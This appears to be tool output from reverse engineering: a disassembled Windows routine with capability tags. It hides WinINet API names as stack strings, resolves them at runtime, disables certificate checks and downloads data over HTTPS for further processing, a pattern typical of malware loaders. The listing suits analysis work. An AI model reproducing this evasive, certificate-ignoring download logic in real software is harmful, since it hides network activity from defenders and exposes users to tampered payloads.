Function at 0x14000f620
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Link many functions at runtime
Query remote server for available data
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14003ae50]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov esi, edx
mov rdi, rcx
test edx, edx
je 0x14000fb76
mov dword [rbp - 0x48], 0x696e6977
mov dword [rbp - 0x44], 0x2e74656e
mov dword [rbp - 0x40], 0x6c6c64
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
jne 0x14000f6a3
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000fb76
mov dword [rbp + 0x20], 0x65746e49
mov dword [rbp + 0x24], 0x74656e72
mov dword [rbp + 0x28], 0x72657551
mov dword [rbp + 0x2c], 0x74704f79
mov dword [rbp + 0x30], 0x576e6f69
mov byte [rbp + 0x34], 0
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rsp + 0x78], rax
mov dword [rbp - 0x10], 0x65746e49
mov dword [rbp - 0xc], 0x74656e72
mov dword [rbp - 8], 0x4f746553
mov dword [rbp - 4], 0x6f697470
mov word [rbp], 0x576e
mov byte [rbp + 2], 0
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov qword [rsp + 0x70], rax
mov dword [rbp + 8], 0x65746e49
mov dword [rbp + 0xc], 0x74656e72
mov dword [rbp + 0x10], 0x736f6c43
mov dword [rbp + 0x14], 0x6e614865
mov dword [rbp + 0x18], 0x656c64
lea rdx, [rbp + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov dword [rbp - 0x38], 0x70747448
mov dword [rbp - 0x34], 0x72657551
mov dword [rbp - 0x30], 0x666e4979
mov word [rbp - 0x2c], 0x576f
mov byte [rbp - 0x2a], 0
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [rsp + 0x50], rax
mov dword [rbp - 0x28], 0x70747448
mov dword [rbp - 0x24], 0x646e6553
mov dword [rbp - 0x20], 0x75716552
mov dword [rbp - 0x1c], 0x57747365
mov byte [rbp - 0x18], 0
lea rdx, [rbp - 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
test r15, r15
je 0x14000fb76
test r13, r13
je 0x14000fb76
test r12, r12
je 0x14000fb76
test r14, r14
je 0x14000fb76
test rax, rax
je 0x14000fb76
mov rcx, rdi
call fcn.14000ef80
test al, al
je 0x14000f7f6
mov dl, 1
mov rcx, rdi
call fcn.14000edb0
xor r13d, r13d
mov ebx, r13d
mov qword [rsp + 0x60], rbx
mov r15d, r13d
mov dword [rsp + 0x68], r13d
mov r8d, esi
lea rdx, [rbp - 0x70]
mov rcx, rdi
call fcn.14000ece0
nop
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002bb08]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x14000f843
mov byte [rdi + 0x70], al
jmp 0x14000fb66
lea rdx, [rdi + 0x40]
cmp qword [rdx + 0x18], 8
jb 0x14000f851
mov rdx, qword [rdx]
mov r8d, 0x1bb
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov r13, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x14000f895
mov byte [rdi + 0x70], al
mov rcx, r14
call r12
nop
jmp 0x14000fb66
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae r8, qword [rbp - 0x70]
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea rdx, [0x14002c5e0]
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x14000f8ec
mov byte [rdi + 0x70], al
mov rcx, r14
call r12
mov rcx, r13
call r12
nop
jmp 0x14000fb66
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x58], 4
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x40]
mov edx, 0x1f
mov rcx, rax
call qword [rsp + 0x78]
test eax, eax
je 0x14000f934
or dword [rsp + 0x40], 0x3100
mov r9d, dword [rsp + 0x58]
lea r8, [rsp + 0x40]
mov edx, 0x1f
mov rcx, rsi
call qword [rsp + WSAStartup]
mov rdx, rsi
mov rcx, rdi
call fcn.14000db40
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [rsp + 0x48]
test eax, eax
je 0x14000fb01
xor eax, eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
xor r8d, r8d
lea edx, [rax + 0x15]
mov rcx, rsi
call qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000fafb
mov ecx, dword [rsp + 0x48]
lea edx, [rax - 0x79]
call fcn.1400194f8
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8, rax
mov edx, 0x13
mov rcx, rsi
call qword [rsp + 0x50]
lea rcx, [0x14002c5d8]
mov edx, dword [rbx]
cmp edx, dword [rcx]
jne 0x14000f9d1
movzx edx, word [rbx + 4]
cmp dx, word [rcx + 4]
jne 0x14000f9d1
xor eax, eax
jmp 0x14000f9d6
sbb eax, eax
sbb eax, 0xffffffff
mov rcx, rbx
test eax, eax
je 0x14000f9fe
mov byte [rdi + 0x70], 1
call fcn.140018b3c
mov rcx, r14
call r12
mov rcx, r13
call r12
mov rcx, rsi
call r12
nop
jmp 0x14000fb66
call fcn.140018b3c
mov dword [rsp + 0x78], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x48]
mov edx, 0x20000005
mov rcx, rsi
call qword [rsp + 0x50]
test eax, eax
je 0x14000faf6
mov eax, dword [rsp + 0x48]
cmp eax, 7
jbe 0x14000faf6
xor ecx, ecx
mov ebx, ecx
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x70], ecx
mov ecx, eax
mov edx, 1
call fcn.1400194f8
mov r13, rax
test rax, rax
je 0x14000faf0
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov r8d, dword [rsp + 0x70]
test r8d, r8d
je 0x14000fab5
mov edx, ebx
add rdx, r13
lea r9, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000fab5
add ebx, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
cmp ebx, r8d
jb 0x14000fa70
jmp 0x14000faba
mov r8d, dword [rsp + 0x48]
mov eax, dword [0x140038318]
sub r8d, eax
lea rdx, [r13 + rax]
lea r9, [rsp + 0x68]
mov rcx, rdi
call fcn.14000d330
mov rbx, rax
mov qword [rsp + 0x60], rax
mov rcx, r13
call fcn.140018b3c
mov r15d, dword [rsp + 0x68]
mov r13, qword [rbp - 0x80]
jmp 0x14000fafb
mov r13, qword [rbp - 0x80]
jmp 0x14000fafb
mov rbx, qword [rsp + 0x60]
mov byte [rdi + 0x70], 1
jmp 0x14000fb0f
mov byte [rdi + 0x70], 0
xor edx, edx
mov rcx, rdi
call fcn.14000edb0
mov rcx, r14
call r12
mov rcx, r13
call r12
mov rcx, rsi
call r12
test rbx, rbx
je 0x14000fb66
cmp r15d, 4
jb 0x14000fb66
mov ecx, 0x10
call fcn.140018b7c
mov rbx, rax
test rax, rax
je 0x14000fb4f
mov eax, r15d
mov rcx, qword [rsp + 0x60]
mov qword [rbx], rcx
mov qword [rbx + 8], rax
jmp 0x14000fb51
xor ebx, ebx
cmp qword [rbp - 0x58], 0x10
jb 0x14000fb61
mov rcx, qword [rbp - 0x70]
call fcn.1400187b4
mov rax, rbx
jmp 0x14000fb78
cmp qword [rbp - 0x58], 0x10
jb 0x14000fb76
mov rcx, qword [rbp - 0x70]
call fcn.1400187b4
xor eax, eax
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.1400194d0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret